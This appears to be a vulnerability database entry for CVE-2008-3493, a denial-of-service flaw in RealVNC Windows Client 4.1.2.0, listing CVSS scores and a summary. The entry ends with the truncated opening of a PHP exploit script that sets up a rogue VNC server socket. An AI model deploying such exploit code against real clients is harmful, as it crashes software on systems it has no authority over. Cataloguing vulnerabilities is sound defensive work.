5
CVSSv2

CVE-2008-3493

Published: 06/08/2008 Updated: 29/09/2017
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 505
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

vncviewer.exe in RealVNC Windows Client 4.1.2.0 allows remote VNC servers to cause a denial of service (application crash) via a crafted frame buffer update packet.

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realvnc realvnc windows client 4.1.2.0

Exploits

#!/usr/bin/php <?php # RealVNC Windows Client DoS # AppName: vncviewerexe # AppVer: 4120 # ModName: vncviewerexe # ModVer: 4120 # Offset: 000229e0 function vncear() { $port = "5900"; $ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1); socket_bind($ser,"0000", $port); s ...